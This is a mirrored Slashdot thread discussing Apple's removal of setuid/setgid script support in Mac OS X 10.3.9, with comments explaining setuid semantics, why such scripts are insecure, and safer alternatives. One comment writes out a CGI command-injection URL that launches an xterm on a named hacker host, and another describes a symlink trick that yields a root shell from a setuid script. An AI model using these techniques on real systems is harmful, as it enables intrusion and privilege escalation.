Slashdot Mirror


It's not a Feature, It's a Vulnerability!

pmeunier writes "Apple's security stance is stunning. In the latest (10.3.9) update, Apple removed two capabilities because they pose security risks. One of them is the capability to run setuid and setguid scripts (the other was actually unused). Can other commercial OS vendors (how many are there :) adopt a similar stance? Will you be inconvenienced by the inability to run setuid scripts on MacOS X? Which other features/capabilities (in any OS) would you like to have removed?"

11 of 180 comments (clear)

  1. Re:Stunning? by soyle · · Score: 5, Informative

    I guess I missed what was "stunning" about this.


    Especially since IBM's AIX hasn't allowed SUID scripts since version 3.5.something...
  2. Answers by hab136 · · Score: 5, Informative
    Can other commercial OS vendors (how many are there :) adopt a similar stance?

    It'd be nice.

    Will you be inconvenienced by the inability to run setuid scripts on MacOS X?

    Not at all. SUID scripts are a huge hole. See What security problems exist with SUID scripts and programs? for an example. SUID scripts are usually created by lazy people who can't be bothered to figure out permissions.

    Which other features/capabilities (in any OS) would you like to have removed?

    I'd like to see the instant-flamewar generator removed.

  3. Re:Stunning? by 0x461FAB0BD7D2 · · Score: 5, Funny

    If it's broken, it should be fixed, not thrown away.

    Imagine if Microsoft just removed IE because of all the security problems....wait. Let me re-think my position on this.

  4. including the function was a mistake. by Malor · · Score: 5, Informative

    The functionality was a mistake to include in the first place. I don't remember precisely WHY this is, but I have read that it is simply impossible to make a secure SUID/SGID script in any current flavor of Unix.

    Taking it out will undoubtedly inconvenience some folks, but it's sort of like being given a power tool without some critical piece of safety gear. Apple has, in essence, forced you to install that gear on your power tool, like it or not. If it inconveniences you, then you weren't using the tool safely to begin with.

    From what I understand, it's usually better to use sudo for this anyway... you can set up sudo so that it will only allow you to execute a particular program or set of programs. The sudoers file is more than slightly cryptic, and it's a bit more typing (both "sudo" and possibly the user password), but this will give you much better safety.

    If you just absolutely can't stand doing it that way, then write your script in perl or C and SUID that version. Note that it takes special care in both instances... SUID programs are dangerous, and if someone cracks a user account on your system, that's going to be one of the first things they'll look at to try to get root. Don't just toss something together, go look up how to do it safely. (short form: don't trust your environment, don't trust user input). Perl has some special functions just for this purpose, so be sure to read its documentation carefully.

  5. Re:Derrrrrr.... by mmkkbb · · Score: 5, Informative

    they are pretty self-explanatory for user commands.

    if the setuid bit on a file is set, then any execution of that file is done with the privileges the file's owner (or group in the case of setguid).

    for example:

    $ chmod 4754 foo.sh
    $ ls -l foo.sh
    -rwsr-xr-- 1 root foousers 17 Apr 18 15:11 foo.sh

    Now anyone in wheel can run foo.sh with root privileges.

    $ chmod 2755 foo.sh
    $ ls -l foo.sh
    -rwxr-sr-x 1 root foousers 0 Apr 18 15:11 foo.sh

    Now anyone on the system can run foousers with the privileges of a foousers member.

    --
    -mkb
  6. Re:Stunning? by 0x461FAB0BD7D2 · · Score: 5, Funny

    Coincidentally, that's IE's problem too.

  7. This is a smart move by Apple by commodoresloat · · Score: 5, Funny

    And, since they did this, everything feels snappier!

  8. Re:Weight the trade off by Creepy · · Score: 5, Informative

    First, this is about scripts, not setuid - if it removed setuid or setgid you wouldn't be able to sudo, since that is a setuid program.

    Second, perl (a scripting language) has really led the way here - perl has not allowed for running of setuid and setgid in scripts for a long time.

    Third, if you really need setuid and setgid to run your script, you can create a C wrapper for it. Yes, it's a pain, but it really emphasizes that you really know what you're doing. I remember seeing stuff like (fake URL) http://www.idioticmoron.org?command="runme.sh", which a smart hacker would see and convert to http://www.idioticmoron.org?command="runme.sh;env% 20DISPLAY=mycomputer.hacker.net:0.0%20xterm%20-sb% 20-sl10000" and have the cgi user's access (usually root) to your system with a convenient xterm (providing the machine is allowed as an xhost).

    What is setuid and setgid? It runs the program as the owner (or group) of the program instead of the executor (the group ID is so the owner can run it with one set of permissions and the group a different set). In this way, you can have something like a counter that can be run by anyone but writes to a file that only that user can write to. To create such a file, you'd do something like chmod 4711 test.sh (setuid) or chmod 2711 test.sh (setgid). Since test.sh is a script (a shell script to be particular), this shouldn't be allowed now. A C program can call setuid and setgid internally, if it has permissions to (say, is running as root), so it can change the executor to the desired user or group and then run the script.

  9. Re:Rammed down our throats? by greed · · Score: 5, Informative
    Like I said, removing SUID/SGID scripts is probably a good thing, but I definitely want developers to be as cautious as possible in how they remove features. Perhaps rather than completely removing certain features, they should be disabled by default.

    Disallowing SUID/SGID scripts is industry standard in UNIX-land. Not that "everyone else does it" is a good justification on its own. But, in this case "everyone else had a reason".

    You can easily run a script as any ID you desire via sudo, provided with the system. As Apple states, none of their software uses SUID/SGID scripts. And I very much doubt any 3rd-party software does also. It is just such a universally unavailable feature, no UNIX programmer would think to even try it these days.

  10. The problem with suid scripts by wirelessbuzzers · · Score: 5, Informative
    Here's why IBM hasn't allowed them for ages.

    The problem with suid scripts is the mechanism for implementing scripts. Essentially, a script is an executable beginning with
    #!/path/to/interpreter arg
    (arg is often left blank). When you run it,
    scriptname arg1 arg2 arg3
    is translated by the kernel to
    /path/to/interpreter arg scriptname arg1 arg2 arg3
    which is then executed. If the script is setuid, then logically the interpreter should be setuid.

    Suppose then that you have a bash script /usr/local/bin/foo which is setuid root. If I create a symlink to it at /tmp/-i and set my path to include ".", then I can invoke it from tmp as "-i". The kernel translates this to
    /bin/bash -i
    run setuid root, which is a root login shell. D'oh.

    Linux fixes this (if you turn on setuid scripts) with the /dev/fd/n system, that is, it opens the script as file descriptor 3 (say), and runs
    /bin/bash /dev/fd/3
    Still, this is a hack, and setuid scripts are bad for other reasons (environment poisoning, ...).
    --
    I hereby place the above post in the public domain.
  11. Apple did not remove SUID/SGID on scripts by Cmdr+TECO · · Score: 5, Insightful

    Apple added a kernel switch for suid/sgid on scripts, and leave it off by default. If you want suid/sgid scripts on your system, enable them. If you don't think this comment has given you enough information to enable them, you shouldn't be running suid/sgid scripts.

    --
    echo 33676832766569823265328479713269.8639857989Pq | dc